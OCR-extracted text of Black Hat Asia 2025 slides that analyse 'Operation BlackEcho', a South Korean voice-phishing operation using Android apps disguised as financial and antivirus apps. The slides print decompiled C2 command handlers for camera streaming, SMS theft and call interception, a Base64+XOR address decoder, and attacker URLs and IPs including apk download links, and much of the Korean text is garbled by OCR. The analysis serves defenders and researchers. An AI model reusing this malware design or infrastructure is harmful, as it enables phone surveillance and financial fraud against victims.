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Understanding Voice Phishing

% Voice Phishing (a.k.a. Vishing)
> A crime where scammers trick people over the phone to get money or personal information.

% Voice Phishing in South Korea (last 5 years)

B Damage amount per case = Number of cases

50,000 ¥$30,000,000
24,990,000 2 High-value damage cases

%#24,900,000
40,000 37,667 ¥%22,090,000

W23,650,000

16,980,000 ¥#20,000,000 Financial Government

30,000
theme theme
20.000
410,000,000 A
10,000 é @é’
0 Y0 _ =

2019 2020 2021 2022 2023

% [Reference] Korean National Police Agency 6
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Why we did research

s Malicious Apps
> Malicious apps play a crucial role in voice phishing attacks on smartphone users.

> These apps intercept and block phone calls, tamper with call screens and call logs.

% New Type of Malicious Apps

Previous malicious apps Current malicious apps Normal apps (example)

Financial theme app Financial theme app Financial app

(malicious) (malicious) (normal)
| Evolution — Imitation ag

an > V 4 - So-
S (Separate its Bank

functions) Vaccine theme app Vaccine app
(malicious) (normal)

.E w 7




0

black hat

ASIA 2025

Introducing Operation BlackEcho

¢ The criminal organization uses malicious apps impersonating ﬁfinancial

and vaccine apps for voice phishing

2nd app installation — § '_,, Install & Execute u — Voice phishing
Information theft — — Command execution
Financial Vaccine
(1st app) (2nd app)

rreeny
'y
[ ]

il

% It also uses apps impersonating government agencies for voice phishing,

and creates & smishing apps.
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2. Attack Flow

#BHAS @BlackHatEvents
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Victim’s
Smartphone

A

> 30O e X

SNS, text, calls, etc.

AA

A

> Crlrr_nna!I
%’ %’ %’ organization
N N N
- S S 3 .
‘ ‘ i
N N
> 3 3 \4

Infrastructure

.4@/% Affordable phone

in the victim’s name

Bank 10
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(D Malicious App Distribution

> <
2) Applying uﬂ ® < 1) Advertising

| | for a loan SNS, text, calls, etc. a loan
Victim consultation - Criminal
3) Distributing organization
a loan app
(malicious)

11
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2 Attacks

L Bl 1) Installing
malicious

Victim . imi
apps o > |2) Giving Criminal
( ) S N N organization
- > commands
— R S S
). | & <
< > §§’ §§’ (remote control,
. h h data theft, etc.)
3) Processing e
commands nfrastructure
° : ’ < ] ] u
Victim’s 4) Voice phishing
Smartphone

12
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-
Victim’s 1) Trgnsferrlpg
/Withdrawing
Smartphone
money
>

2) Swindling

LD money

Bank

Criminal
organization

13
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> Criminal
( \ organization
-, . 19)
....... Y Activating
=—phone
———  1.2) Making 2) Swindling C
S VI(;I:II‘E S transactions 4/(9\% money AffOrdabIe phone
martphone (remote control) | | in the victim’s name

S EICRCR R R R R T R A R B R R 14
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3. Malicious
Apps

5. Voice Phishing

4. Infrastructure

5. Voice Phishing

Criminal
organization

15
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3. Malicious Apps

#BHAS @BlackHatEvents
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History

% Malicious apps are implemented separately based on their functionality.

December 2021 2022 ~ July 2023 July 2023 ~

Started (estimated) Separated (1st + 2nd) Separated (1st + 2nd _main + 2nd_call)
- S ©

- 1st app (Financial or Government theme, dropper/downloader + data theft)

.. 2nd app (Vaccine theme, Voice Phishing + a) ----- 2nd_main app (Vaccine theme,

. : oy Y control + data theft)
¢ @

......2nd_call app (Call theme,
> These malicious apps copied official apps’ icons.

& g Voice Phishing) 17
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1st app

% Installing additional apps & stealing personal information

Name
o
MUBBXY  UBHIBYE Bhioe
DIAEY/RYAE O X8| Social
Number
BB YA MOIZg8H=0)|
Company
O
= o gl Allow MEZBHIE] to access —
%B (Y g LR S| SN photos, media, and files on your
= 30 19 E i 2 (=} Sh= =
= [H2M-MK|E MH|A-HEIZSME] device? CIRECst= S0 7|0 TAAL... it I
USUHE A2 youth () 5188l F=AMof ithdrawa
HA4HQl MH|A 0]80] 7hsEfLCt
Address

@) i
= No

HAR17 0AZ8
b4
; .
V=
-
FHHZ ARE Rp2pRIct
R of7|E 22|sto]
& umxE U Fhe

Main screen Requesting Requesting Installing app Loan application
Accessibility permission screen (data theft) 18
permission
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1st app - Screen Display

% The 1st app displays screens disguised as financial companies.

% And the screen display method has changed in three ways.

@ Local html @ Layout @ Phishing page
(~ June 2022) (June 2022 ~) (April 2023 ~)

: BB

SR 20} )| WAICH 0.1%
AL} OJCI AL} 232 M2 28 X|§ UEYH S BYE
& XHIX

AojEggIoz oix op

. AEPREO| 458 &
‘ e e -

L”“—' | ZE sy 2 ch-f‘”—i‘ﬂ H§ E&
e Qgﬂ Ich.

{ |

]
ic)

sep3  [HE AlA} E waus @82 youth P | @
® Jlcss | sgxs
il dixy AH|REE/AIR ABBA|AY/LR
= no '
(e o amrs Nai3g | IBKEXE
| a0l 3! AIAE S Rge7 nAE®
£S5 S 0457 2F Elick ugm .432 Ich

i A

<

RUNE

EEES AN SHEsi

r

> (33
- A
NS
e

2= o w24l

! !
4.2 OH ¢ 20) ,%
|

=z

R of7| 8 E2ystol
& unxzE ooy Fae

19
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1st app - Screen Display

% The 1st app displays screens disguised as financial companies.

% And the screen display method has changed in three ways.

> In the case of Local HTML, the app contains all the files to disguise.

assets/data/web » assets/data/web/Stw — interface.html
o
SIS T
Ci cu dist GHU Hana IBK = AnP s awan
sep1 LS 412
_— -_— G P -_— -_ home.png interface.html .
IBK2 KaKao KB2 KDB Kiwi KOREG o o G e s, owE SR,
interface.html | jquery-1.11.2.min.j Pas
— S
NHS Ok Pepper Shi Shinhan Shinhan2 .S Sl bbbty Tk,
S [ [ — [ — @
\3-
main.css
SM Stw TVM Uar WFC Won 20
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1st app - Additional app Installation

% The 1st app installs 2nd, 2nd_main and 2nd_call apps.

% And the app installation method has changed from ‘drop’ to ‘download’.

@ Drop (Before September 2022)

-

~

(Dropper)
1st app

drops

2nd app

= AndroidManifest.xml

v [ assets
> [ data
@) mobilev3.apk
classes.dex
> 55 META-INF

assets/mobilev3.apk

file name unzip result

assets/huhu.apk

assets/apk.zip huhu.apk
assets/apk.zip plus.apk
assets/asdf/apk.zip huhu.apk

@ Download (After September 2022)

(

(Down-\w
loader)

1st app

N
downloads
v
'
S
Distribution server
|
Y, 21
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1st app - Personal Information Theft

% The 1st app steals personal information by pretending to offer loan applications.
— Name, Phone number, Social number, Company, Address, ID card, ...

Name Capture your id card. i DefaUIt Val_ue .
in the loan applications

Phone "%

o ) Key Value
Number CoeYiesRIes Name Hong G|Id0ng
e - Phone number | 01052881200
neome N - Social number | 820526-1234123

Withdrawal
Social
Number
Address

22



O

black hat
ASIA 2025

2nd app

% Processing commands & Voice Phishing

-

HE ALB7| 2lsiM = [M2d-2XIE MY
A-ADEECQH &3l FAMO0F FaH 2l My
A 0|80| 7hs gLt

ol
—_

Requesting
Accessibility
permission

(®
Allow 20tEE Ot to take pictures
and record video?
'IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII‘
Q

Allow A0FEHEQt t0 access this
device's location?

£

Allow A0HETHS} to access
photos and media on your device?

=

Allow A0FETH3} to send and
view SMS messages?

Allow

Deny

Requesting
permission

v

Set AOFETZ 2} as your default
phone app?

Phone O

Current default

ADETHZ} ®

Gets access to call log, send SMS

Cancel  Set as default

Setting a default app

Let app always run in background?

Allowing A0FETZH 2} to always run in the

background may reduce battery life.

You can change this later from Settings >
Apps & notifications.

Deny Allow

Maintaining
persistence

Processing a cmd.
(get PIN)

23
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2nd app - Command Processing

< Command list

— this.mSocket.on("
i this.mSocket.on("
Streammg this.mSocket.on(’
— this.mSocket.on("
control+ this.mSocket.on("
screen record l_ this.mSocket.on("
— this.mSocket.on("
location =— this.mSocket.on("
= this.mSocket.on("
app l— this.mSocket.on("
— this.mSocket.on("
file this.mSocket.on("
— this.mSocket.on("

Accessibility == this.mSocket.on("
— this.mSocket.on("
this.mSocket.on("

record this.mSocket.on("
this.mSocket.on("

— this.mSocket.on(

bluetooth l— this.mSocket.on("

album

stream_camera"”, this.onStreamCamera);

stream_switch_camera", this.onStreamSwitchCamera);
'stream_mic", this.onStreamMic);

stream_display"”, this.onStreamDisplay);
action”, this.onAction);

capturing_on", this.onStartCaptureScreen);
capturing off", this.onStopCaptureScreen);
upload_location”, this.onUploadLocation);
upload_apks™, this.onUploadApks);
delete_apk", this.onDeleteApk);
upload_filelist", this.onUploadFilelist);
download_file"”, this.onDowndloadFile);
upload_file", this.onUploadFile);
request_rac", this.onRequestRAC);
mic_record”, this.onMicRecord);
mic_record_duration”, this.onMicRecordDuration);
call_record”, this.onCallRecord);
enable_record”, this.onEnableRecord);

"bluetooth_on", this.onBluetoothOn);

bluetooth_off"”, this.onBluetoothOff);

+— this.mSocket.on("upload_album”, this.onUploadAlbum);

this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("
this.mSocket.on("

monitoring_on", this.onMonitoringOn);
monitoring_off", this.onMonitoringOff);
update_numbers", this.onUpdateNumbers);
update_number_real"”, this.onUpdateNumberReal);
block update”, this.onBlockUpdate);

block delete”, this.onBlockDelete);

block create _one", this.onBlockCreateOne);
incoming_update"”, this.onIncomingUpdate);
incoming_delete”, this.onIncomingDelete);
incoming_create_one", this.onIncomingCreateOne);
outgoing_update”, this.onOutgoingUpdate);
outgoing_delete"”, this.onOutgoingDelete);
outgoing_create_one"”, this.onOutgoingCreateOne);

update_private_numbers"”, this.onUpdatePrivateNumbers);

hangup”, this.onHangup);

upload_contacts”, this.onUploadContacts);
add_contact", this.onAddContact);

delete contact”, this.onDeleteContact);
set_default_message”, this.onSetDefaultMessage);
unset_default_message”, this.onUnSetDefaultMessage);
upload_sms", this.onUploadSms);

send _sms", this.onSendSms);

delete_sms”, this.onDeleteSms);

upload_calllog", this.onUploadCallLog);
delete_calllog”, this.onDeleteCallLog);

\ 4

2nd_main app

\ 4

2nd_call app

voice
phishing
(enable,
update
phone
numbers,
end calls)

contact

SMS

call log

24
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2nd app - Command Processing

7/

«» Custom Intent

> The 2nd, 2nd_main, 2nd_call apps handle commands through ‘custom intent’.

) (socket) command, parameter ?§§'
[ SocketService | _ S
| C2 server
send [custom intent] ( SMSService W - (HTTP) Send result !
g J (HTTP) Request data
send [custom intent] RestrictedNumbers for voice phishing
Service
N J
. e N . ‘\(
send [custom intent] CameraStream | (RTSP) Streaming §
L Service ) | Streaming server
S L 25

Malicious app
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2nd app - Command Processing

«» Custom Intent

> The 2nd, 2nd_main, 2nd_call apps handle commands through ‘custom intent’.

(socket) command, parameter §§§’
: [ SocketService S

N
C2 server

\_“_)

Malicious app

SocketService mSocket. set_default_message", this ,onSetDefaultMessage) -

R : d mSocket. unset_default_message"”, this.onUnSetDefaultMessage);
€ceive commands mSocket. upload_sms", this.onUploadSms);

“send_sms” mSocket. send sms"”, this.onSendSms);
mSocket. delete sms"”, this.onDeleteSms);
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2nd app - Command Processing

«» Custom Intent

> The 2nd, 2nd_main, 2nd_call apps handle commands through ‘custom intent’.

[ SocketService }

send [custom intent] ( SMSService

Malicious app

H this.onSendSms = (Object[] arr_object) -> {
SocketService [ty
- if(arr_object.length > @ &% arr_object[8] != null) {
Send [Custom mtent] JSONObject jSONObject® = (JSONObject)arr_object[0];
C String s = jSONObject@.optString(“number");
“Com.dagger.rmc.lntents.SEND_SMS” String s1 = jSONObject@.optString("body");

if(!'TextUtils.isEmpty(s) && !TextUtils.isEmpty(sl1)) {
this.sendBroadcast(new Intent("com.dagger.rmc.intents.SEND_SMS").putExtra("number"”, s).putExtra("body", s1));

}
}
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2nd app - Command Processing

«» Custom Intent

> The 2nd, 2nd_main, 2nd_call apps handle commands through ‘custom intent’.

C2 server
(HTTP) Send result T

SMSService }

Malicious app

Y\ ST a i [el- ] case "com.dagger.rmc.intents.SEND_SMS": {
this.sendMessage(intent®.getStringExtra("number”), intent@.getStringExtra("body"));

Receive and handle [custom inten]) return;
sendMessage() K
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2nd app - Voice Phishing

% Malicious apps(2nd, 2nd_call) intercept or block calls

Forced outgoing calls (‘Gangbal’)

Forced incoming calls (‘Gangsu’)

(W ‘N Bank ARS~ J)ﬂ

| | N
2 — 3
0 =

Victim =

Sapci2| RRL

. Atacker

Call log

Attacker

Victim

‘A’ Bank

Call log

Attacker

Blocking incoming calls (blacklist)

2 %

Victim

-

—

J

‘Q,BE:I

Call log

Attacker

29
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2nd app - Voice Phishing

< Screens

> Malicious apps(2nd, 2nd_call) have their custom screens for voice phishing.

Call +a | < Search Outgoing Incoming Call ended
‘A’ Bank ‘A’ Bank
02-XXXX-XXXX 02-XXXX-XXXX
2~ Name
% Phone number
1 2 3
4 5 6
JKL N g{
Z 8 9 & Lij 2|t
o N
* 0 # Blocking  Add to contact
7|mH= xa7|= o12x| Cancer Save > - < :
CustomDialerActivity DialerSearchActivity ContactActivity CallActivity CallActivity CallActivity

(outgoing call) (incoming call) (call ended) 30
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2nd app - Voice Phishing

<+ ARS files

> Malicious apps(2nd, 2nd_call) play files when they intercept victims’ outgoing calls.

Phone numbers (368) - ARS files (93)

ARS files (93)

JE rings.zip
v =5 rings
v (= ars
| |1301.m4a

website.zip

| | 15441200.mp3
| | 21002500.mp3

zip file name unzip result

website/ars/*.mp3

nackvlaitje.zip

nackvlaitje/ars/*.mp3

menu_sound.zip

nackvlaitje/ars/*.mp3

list@.
list@.
list@.
list@.
list@.
list@.
list@.
list@.
list@.

list@.
list@.
list@.
list@.
list@.

add (new
add (new
add (new
add (new
add (new
add (new
add (new
add (new
add (new

add (new
add (new
add (new
add (new
add (new

Ring(1l, "13061" 1301 mda"));

Ring(2, "021301 "1301.m4a" ))

Ring(3, "15448600", "ajucap.mp3"));
Ring(4, "0215448600", "ajucap.mp3"));
Ring(5, "16880070", "ajucap.mp3"));

Ring(6, "0216880070", "ajucap.mp3”));
Ring(7, "18999911", "aqueoncap.mp3"));
Ring(8, "0218999911", "aqueoncap.mp3"))
Ring(9, "15775511", "aqueoncap.mp3")):
Ring(364, "16700001", "welcomeloan.mp3"));
Ring (365, "0216700001", "welcomeloan.mp3"));
Ring(366, "0221002500", "21002500.mp3"));
Ring(@x16F, "15441200", "15441200.mp3"));
Ring(@x170, "0215441200", "15441200.mp3"));

123123.zip

nackvlaitje/ars/*.mp3

— save them to the database (“rings” table)

31
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2nd app - Voice Phishing

<+ ARS files

> Malicious apps(2nd, 2nd_call) play files when they intercept victims’ outgoing calls.

Phone number classification

Category Details

Financial, Investigative, Tax, and Other related agencies
(FSC, FSS, SPO, NTS, KODIT, KINFA, KAMCO)

1st financial sector |Banks

12.1%
9.9% ® | Government agency

Saving Banks, Insurance companies, Capital firms, Credit

2nd financial sector . : :
card companies and Cooperative federations

70.3%

3rd financial sector |Other lending companies

32
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2nd app - Voice Phishing

% The victim is mapped with the attacker. Criminal Organization

% AndroidManifest.xml in 1st app

> app_id : App identifier

. _ : . :
app_name : Keyword of financial companies { — } { maezhang] ] [ maezhang35

ik

or government agencies

(Impersonating ‘! ")
<meta-data
android:name="app_id"

android:value={'maezhang35"'}/> g

<meta-data Attackerl Attacker# Attacker?”  Attacker#’

android:name="app_name"
L Ll _b&

android:value="%2="/>
Victim1 Victim2 Victim3 Victim4

Infected with malicious app (‘T/E’)

33
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2nd app - Voice Phishing

< Phone numbers

> The malicious apps(2nd, 2nd_call) send the ‘app_id" and request phone numbers to the C2 server.

m eXx) Visa card : The attacker pretends to be a Visa card employee.

m ex) Financial Supervisory Service : The attacker blocks the victim from reporting voice phishing

ex) Intercepting outgoing calls ex) intercepting incoming calls ex) blocking incoming calls
1

"MaANn { {

'id": 11879 .

. . . "1d": 2 ",

"mobile_id": "", : P e e . id": 11801, _ _

“name": "H|X}ZIE", Visa card "'r"‘::\;}?-}.glx’m:.g Visa card "mobile_id": "", Financial

"number'": '"18992364", i T S " “number": '1332", Supervisor

b ral® o oo MMETAGH, “number": "0263970114", “name': " Serice y

“enabled": true, "gzg\g({gaz?a;aisem(aﬁ-% ’ "enabled": true,

3;5:2233: j;;;giu_zgmz:57:46.0%2" : “updated_at": "2024-02-19T03:22:24.000Z" y "updated_at": '2024-06-17T02:46:58.000Z"
}. ' e
— number : Outgoing call made by the victim — number : The app displays it to the victim — number : The app blocks the incoming call
— number_real : The app actually makes a call — number_real : Incoming call to the victim

to the attacker
The attacker’s phone number

{"number_real":"o70lllB6142"}

34
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Common Features

% Update statistics

> Malicious app updates were frequently updated made on weekdays between 8:00 and 9:00 AM

Number of malicious apps updates by day of the week  Number of malicious apps updates by time

70 70
60 60
50 50
40 40
30 30
20 20
10 10
0 0
Mon. Tue. Wed. Thu. Fri. Sat. Sun. 0 1 2 3 4 5 6 7 8 9 10 M 12 13 14 15 B 17 18 9 20 21 2 23

1 2 3 4 5 6 7 8 9 10 1 12 13 14 15 16 17 18 19 20 21 22 23 0

35
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Common Features

< Packer

> Packers(DexProtector, AppSealing) are applied to malicious apps to hinder analysis.

m DexProtector (Lical) : Over 50%, applied to the entire period
m  AppSealing (INKA Entworks) : About 10%, applied from 2024.1. to 2024.5.

private File createImageFile() throws IOException {
String s = new SimpleDateFormat(ProtectedAppStart.s("&")).format(new Date()); AppSealing
String s1 = ProtectedAppStart.s("lX") + s + ProtectedAppStart.s("lZ"); (10.03%)
File file® = new File(this.getFilesDir() + ProtectedAppStart.s("0X"));
if(!file@.exists()) {
file@.mkdir();

} DexProtector
None (51.8%)
File filel = File.createTempFile(s1l, ProtectedAppStart.s("IE"), file@); (38.17%)
this.mCurrentPhotoPath = ProtectedAppStart.s("Wi") + filel.getAbsolutePath();
return filel;
¥
Code example Statistic

36
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Common Features

% Keyword

Huhu / whowho | £% Paekjo / dagger

e Code e Certificate
<5trj_ng name:"alert_mesgage">Please Install §_§_</5tring> Subject CN=paekjo, OU=Unknown, O=paekjo, L=Unknown, ST=Unknown, C=Unknown
<string name="alert_update_message">Please Update £%</string> \T/zﬁzity A8

. =n | .

<SEES00, Manc= SRE ML k</string> From Thu Dec 09 13:57:26 KST 2021
<string name="app_name">H|CH{H MEHM</string> To Mon Apr 26 13:57:26 KST 2049
<string name="app_package">com.p615.b1003</string> Version 3

e Api e Custom Intent

this.onStreamMic = (Object[] arr_object) — {
Timber.d("msg: stream_mic", new Object[0]);
this.sendBroadcast(new Intent("com.paekjo.rmc.intents.STREAM_MIC"));

& =2 ghdiwejkg30582.freemall-kr.top/api/mobile/huhu_info

};
"appVersion": "4.0.4", this.onStreamDisplay = (Object[] arr_object) —> {
"url": "https://storel.gofile.io/download/direct/b730025f-1d2a-4ae Timber.d("msg: stream_display”, new Object[0]); -
"url2": “https://bit.ly/3pPuXwP", £ this.sendBroadcast(new Intent("com.paekjo.rmc.intents.STREAM_DISPLAY"));
nur13n: un' ' . )
~ T e 2 " this.onUploadContacts = (Object[] arr_object) —> {
"packagel.\fams 3 cqm.nknlnln.l..bhbhbb ’ Timber.d("msg: upload_contacts", new Object[0]);
appName™: "SecurityProgram”, this.sendBroadcast (new Intent("com.paekio.rmc.intents.UPLOAD CONTACTS"))

37
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4.

Infrastructure

#BHAS @BlackHatEvents



0

black hat
ASIA 2025

Infrastructure

% Diagram

4 R BN BN
N~ > > R
® S S
@ Landing page | @ Distribution Server
web browser t
§$
l %
5 @ Phishing page >
—, | | HTTP P §’
| | HTTP | %

@ Discovery server

: T
- —> §
- ocl

— ® C2 server
ket HTTP
2nd App > R

S

) ® Streaming server
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(D Landing page

% Role : Tricking victims into download the 1st app

% Features : It looks identical to the Google Play(Android’s official app store)

Smal Enterprise and MEl#8uEd  Korea Inclusive Finance Agency
UESE PMXS  Market Service Policy Fund 4-,. 4 ‘-|—; 8 Tg; :
— MO 2 X C
orzlo o B -
Ze|0] Policy fund notification
19+ @ yar ress O
jezc 34018 ©

= == =

40
Landing page (kmso) Landing page (somin)
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2 Distribution server

% Role : Distribution of malicious apps

% History : C2 server — File share & Hosting services — Distribution server

History Date Type File name
C2 server 2022.9. | C2 server huhu.apk
File-sharing services 2023.1. | @ catbox [a-zA-Z0-9]{6}.apk
________________________________ S @goﬂle huhu_[vers|on]apk
________________________________ I Secur|ty[vers|on]apk
File-sharing, hosting services 7.|@ gofile Call.apk, Main.apk
2nd > 2nd maing 2nd caly | o @dothome .................................. CallapkMamapk ....................
_______________ 09a s @goﬂle CaIIapkMamapk
Distribution server 7. | @ Distribution server Call.apk, Main.apk

2nd_app

2nd_call
&
2nd_main
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@ Phishing page server

< Role : Personal information theft

% Features : Pretending to be a financial companies or government agencies.

VISA Hol 71 8441 MEf SHx| Qs Mg

Visae R5E 5iLIZ gt}

VISA

‘User Information inquiry’

menu is added

Mgt
2| Vis

Visa= 25 SiLI2 AZFLICE

T A= CIXE 24|
isa

Official homepage

Phishing page
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@ Phishing page server

7/

< Role : Personal information theft

% Features : Pretending to be a financial companies or government agencies.

VISA =

Lte| Y& =3

My Information Lookup

.« O|EB*
Name

o Gy -
Date of Birth

. ROPEHS -
Phone number

Lookup

LIC] AFR 0|2 7t A=t

VISA
& X3 LIe] AR 0| 7HAH HIE A
Lte] ALE O3
My Usage History
- 0|
Name
-1

Date of Birth

- FOEYS -

Phone number

Lookup

VISA —
HE X3 LIC] AR 0|2 7HAb A= AR
7tet Alzp A1E
Virtual Account Application
- Ol
Name
« YUY -
Date of Birth
« ROjEHS *
Phone number
. "9y -
Bank name
« HEpHS -

Account number

Phishing page
(‘My Information Lookup’)

Phishing page
(‘My Usage History’)

Phishing page
(‘Virtual Account Application’)
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4) Discovery, & C2, (60 Streaming server

% Role:
> Discovery server : Providing addresses of C2 server & Streaming server
> (C2 server . Issuing commands, providing voice phishing data, and more.

> Streaming server : Streaming camera / mic. / screen

.4,



0

black hat
ASIA 2025

Server address

% Server address found in plaintext

> (@ Landing page server, @ Distribution server, @ Phishing page server

Landing page server address
The attacker send it directly to the victim.

Distribution server address
The Landing page
or the C2 server provides it.

Phishing page server address
It is hard-coded in the 1st app.

Attacker = v, should install the app.

http://somin.2024tec.top/app.apk

"url": ["https://store@.2024tec.top/1721776631177/Call.apk",
"url2": "https://store0.2024tec.top/1721776631421/Main.apk",
“"appVersion': "4.5.0",

"packageName": "kr.or.knfa.nfcs.ci",

"packageName2": "kr.or.knfa.nfcs.gi",

“"appName': "AOIETHFE",

"appName2": "ADIEHQH,

this.e.a.s.loadUrl("https://sitelll.mallmaster.top/ibk/index.html");
this.e.a.s(l, b.d);

this.e.a.s.loadUrl("https://sitelll.mallmaster.top/ibk/order. html"):
return:
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Server address

% Server address found in plaintext

> Keywords and epoch time are used

Landing page server address
The attacker send it directly to the victim.

Distribution server address
The Landing page
or the C2 server provides it.

Phishing page server address
It is hard-coded in the 1st app.

Attacker — Keyword

‘NMBl=S

You should install the app.
http:/[somin.P024tec.top/app.apk

of the financial company
&= 3’ sounds like somin~

"url": "https://store@.2024tec.top/1721776631177)YCall.apk",

"url2": "https://store0.2024tec.top{1721776631421)yMain.apk",

“"appVersion': "4.5.0",

"packageName": "kr.or.knfa.nfcs.ci",
"packageName2": "kr.or.knfa.nfcs.gi",
“"appName': "AOIETHFE",

“"appName2': "ADIERQH,

— epoch time
(2024.7.

24.08:17:11.421 (KST))

this.e.a.s.loadUrl("https://sitelll.mallmaster. top

/ibkfindex.html");

this.e.,a.s(l, b.d);

this.e.a.s.loadUrl("https://sitelll.mallmaster.top

‘ibkorder . html"):;

return; — Keyword of the financial company (Industrial Bank of Korea)
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Server address

«» Server address found in encoded-text

> (@ Discovery server, ® C2 server, ® Streaming server

i static {
Dlscovery server address ServerInfoService.SERVER_URLS = new String[]{"eWVLYWIrPj51fmZ_P2)4f31lwfzxzcH96P3]-fD55ZH1k",
. - ' "eWVLIYWIrPj51fmZ_P356PGIkcnlOYmI_cn58PnlkeWQ="};
It is encoded and hard-coded in the apps | ,

. {
C2, Streaming server |* .,o;u. weyy1ywIrpj52eXvoznR7enyiISQpIz93Y3ROFHBIFTX6YZ9 1 fmE=",

The discovery server provides them | "b@5": "Y2ViYWIrPj4jICI_ICIoPyMiIj8gIiArkKSIjIz59eGd@",
"a07": "eWVLYWIrPj5mZmY_f3k8Znh_P3]-fA=="

}
. . public static String decode(String s) {
Decodlng algorlthm byte[] arr_b = Base64.decode(s, 8);
Base64 + XOR (key: 17) for(int v = 0; v < arr_b.length; ++v) {

arr_b[v] = (byte)(arr_blv] ~ 17);
}

return new String(arr_b, StandardCharsets.UTF_8);
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Server address

% Server address found in encoded-text
> Decoding with Base64 & XOR (key : 17)

Discovery server address
It is encoded and hard-coded in the apps

C2, Streaming server
The discovery server provides them

Decoding algorithm
Base64 + XOR (key : 17)

static {

ServerInfoService.SERVER_URLS = new String[l{ https://[down.sinhan-bank.com/huhu
https://down.ok-success.com/huhu };

’

}
{
"a0l": ( C2 server ) https://ghdiwejkg30582.freemall-kr.top
"b@5": (Streaming server) rtsps://213.139.233.131:8322/live
) "a@7": (Alternative server) https://www.nh-win.com

public static String decode(String s) {

byte[] arr_b = Base64.decode(s, 8);

for(int v = 0; v < arr_b.length; ++v) {
arr_b[v] = (byte)(arr_blv] ~ 17);

}

return new String(arr_b, StandardCharsets.UTF_8);




0

black hat
ASIA 2025

Cloudflare

% The criminal organization uses Cloudflare

> They can hide the IP and location of their servers.

> Therefore, they can prepare for blocking and continue their malicious behavior.

Server Example of server address IP Nation Note
Phishing page |site111.mallmaster|.Jtop 172.67.168[.]51, 104.21.26[.]2 - Cloudflare
Phishing page |visakor].]info, visakor|.]asia 8.217.194[.183 HK Alibaba US Technology Co., Ltd.
Discovery down.sinhan-bank[.Jcom 172.67.134[.]184, 104.21.6[.]104 - Cloudflare
Discovery down.ok-success[.Jcom 172.67.170[.]125, 104.21.87[.]177 - Cloudflare
C2 jhjdikjeifhsl989.na333[.]top 172.67.168[.]1210, 104.21.38[.]238 - Cloudflare
Streaming 213.139.233[.]131 213.139.233[.]131 JP Net Innovation LLC
Distribution *.2024tec|.]top 172.67.141.[.]157, 104.21.94[.]238 - Cloudflare
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#BHAS @BlackHatEvents
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Scenario

% Voice Phishing Crime Phases

@ Access to victim

@ Deceive victim

@ Temptation to install malicious app
@ Take control of the victim device

® Take the victim's money

¢ Scenario covering all voice-phishing malware, not just Operation BlackEcho

Access

on the phone =) Tempistion to install
“ Marguous app

Take Control Take control Take Control
) the victim macuous app  of the victim device
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(1) Access to victim

% Attackers use various means to lure victims, for example, SMS, Facebook, instagram, etc

> They usually offer unusually good terms on loans or threaten victims by posing as prosecutors.

Spam Message SNS Advertisement

title 00Banking \

[From Web] Pomm

(Advertisement) " "00Bank;Government Supported Loan [:H g S oﬁ 5 0.0 O0.0 O O g‘il
Implementation |Oa Nn amount

Thank you for your continued patronage of Bank 00. E g EI 3 .9%
iInterest rate

We would like to inform you that the government-

suppored products A=t J|2 1200ms 120
Please apply within the deadline as it will be implemented = : mont
as follows. repayment perioa 4 L

[ Product Information ]
-Loan product: Low-interest debt consolidation loan Mr. A, a job seeker in his 20s

-Collateral: Unsecured i : e SRy ; 5
received W1,533 in policy support

-Loan documents: No documents required n. 2 =]

[ Inquiries ] hxlu|h g —|X|L'.=
02-702-0000 - >

Free opt-out 0808000123 / m g éoMg L' c'. 52
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2 Deceive victim (1/2)

% Attacker disguises the process as a legitimate financial loan, and the victim in need of

money follows the attacker's instructions.

> The attacker asks the victim for sensitive documents containing personal information.

Fake business card or ID card Request Document & Deliver Malicious App

ajsq magy
oHgBMR - e ME Ny
e 4% BolcuPR cenguU
AR AS8Y i
Hello. I'am a loan You should install
counselor. Please the application.
send me copy of
documents below hitp//somin bank top/4! 4. apk
Bjox}
1. 1D card W 42 pemaU,

2. bankbook
o i

-

53
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2 Deceive victim (2/2)

7/

% Attackers use a variety of methods to disable the victim's cognitive abilities by pressuring the

victim's mind.
1) Impersonating the social status of prosecutors, financial institutions to pressure victim
- In particular, ‘criminal involvement’ and ‘economic disadvantage’ are used to frighten victims.
1) Pressuring victims with time pressure and legal penalties
- Pressure victim to make a quick decision (ex : withdraw cash) in a short amount of time
1) Isolating the victim psychologically
- When installing the malicious app, the victim believes they are speaking to the police, financial

institutions, etc. The victim is unable to speak to their family.

¥ Reference : 54


https://www.dbpia.co.kr/journal/articleDetail?nodeId=NODE07019334
https://www.dbpia.co.kr/journal/articleDetail?nodeId=NODE11844795
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3 Temptation to install malicious app (1/2)

% Victim accesses a download page and installs a malicious app to apply for a loan.

> South korea has a very developed mobile banking service and many financial companies offer mobile apps.

Malicious App download page Malicious App display

N s
suxia 2o
=s=o0| =
® = s
Download S
TS
— o—
|
[ - '% 1.5

=|=rQ10] 2491 Z|CH 1S5RS
ZEX|
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3 Temptation to install malicious app (2/2)

% If a malicious app is installed on phone, it can steal phone history, contacts, and other

information and control calling's functions.

> Control examples: block specific calls, manipulate outgoing calls, change contact information

lﬂﬂK WﬂﬂllY

nsmulmnm My
CONTROL .

makeameme.org
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4) Take control of the victim device (1/2)

% Attacker monitors everything about victim, All calls are routed to the criminal organization.

AAAR

AARAA: .

65%

g aSe |

7 6%

pOséGBEE
pO4¢SBEE
ooy BEN

pOLCBEAED

pOsICGBENE

POLICBEAED
POSFSBEED
pOLISBEAEAD

DESFOo0AHB 0B
DESZ0ASDOO0B
DEZO0A4EDO0B
SZ0A4B 0B
DESZO0ASDOBD
SZ0A#+#B0H
SZF0A#DOO0B
SZF0A+#B00

[ Control Server — Manage Phone Menu ]

Infected Phone
Call History
(Real-time
Monitoring)

Infected Phone List
(Phone
Comand/Control)

57



O

black hat
ASIA 2025

s Phone Number other party’s
Calling:Time (Victith: Name) Call<Type phonesnumber Contact Name
- s Ingoing - e
Control
Normal
Controt
ontro
== OQutgoing
Control
&= Call blocking
S0 2 L SUA N2 weR L AR 22 NAE WH 2
(o ¢ 'S BOENOESZ0ASEO0D
[~ ¢ 6 O¢CBROEQEZFO0ASOOD
